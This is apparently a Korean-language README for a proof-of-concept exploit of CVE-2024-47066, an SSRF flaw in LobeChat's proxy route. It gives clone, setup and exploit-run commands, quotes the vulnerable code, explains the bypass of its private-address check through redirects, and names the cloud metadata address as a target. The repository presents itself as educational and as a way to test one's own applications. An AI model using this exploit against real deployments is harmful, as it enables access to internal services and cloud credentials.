
CVE-2024-47066에 대한 개념 증명
★ CVE-2024-47066 LobeChat SSRF PoC ★
CVE-2024-47066 : Lobe Chat은 오픈소스 인공지능 채팅 프레임워크입니다. 1.19.13 이전 버전에서는 src/app/api/proxy/route.ts에 구현된 서버 측 요청 위조(SSRF) 보호 기능이 리다이렉트를 고려하지 않아, 공격자가 프라이빗 네트워크나 루프백 주소와 같은 내부 리소스로 리다이렉트되는 외부 악성 URL을 제공하면 우회될 수 있습니다. 1.19.13 버전에는 이 문제에 대한 개선된 수정이 포함되어 있습니다.
제보자: a1loy
https://github.com/user-attachments/assets/2c4a3be0-5732-48f5-a96c-d361fd914fec
git clone https://github.com/l8BL/CVE-2024-47066.git
cd CVE-2024-47066
cd docker
docker-compose up -d
(외부) LodeChat --> SSRF ATTACK --> (내부) http://www.internal-service:4000
pip install -r requirements.txt
python3 CVE-2024-47066.py -v <URL_TO_EXPLOIT> -i <URL_TO_REQUEST>
python3 CVE-2024-47066.py -v http://localhost:3210 -i http://www.internal-service:4000
CVE-2024-47066


import { isPrivate } from 'ip';
import { NextResponse } from 'next/server';
import dns from 'node:dns';
import { promisify } from 'node:util';
const lookupAsync = promisify(dns.lookup);
export const runtime = 'nodejs';
/**
* just for a proxy
*/
export const POST = async (req: Request) => {
const url = new URL(await req.text());
let address;
try {
const lookupResult = await lookupAsync(url.hostname);
address = lookupResult.address;
} catch (err) {
console.error(`${url.hostname} DNS parser error:`, err);
return NextResponse.json({ error: 'DNS parser error' }, { status: 504 });
}
const isInternalHost = isPrivate(address);
if (isInternalHost)
return NextResponse.json({ error: 'Not support internal host proxy' }, { status: 400 });
const res = await fetch(url.toString());
return new Response(res.body, { headers: res.headers });
};
26번째 줄 아래에는 Redirect 응답을 판별하는 부분이 없습니다. 따라서 URL 단축 서비스를 사용하면 isPrivate() 함수를 쉽게 우회할 수 있습니다.
http://169.254.169.254에 요청을 보냅니다.
이 저장소는 CVE-2024-47066에 대한 SSRF 익스플로잇을 위한 것이 아닙니다. 이 프로젝트의 목적은 사람들이 이 취약점에 대해 배우고, 자신의 애플리케이션을 테스트하는 데 도움을 주기 위한 것입니다.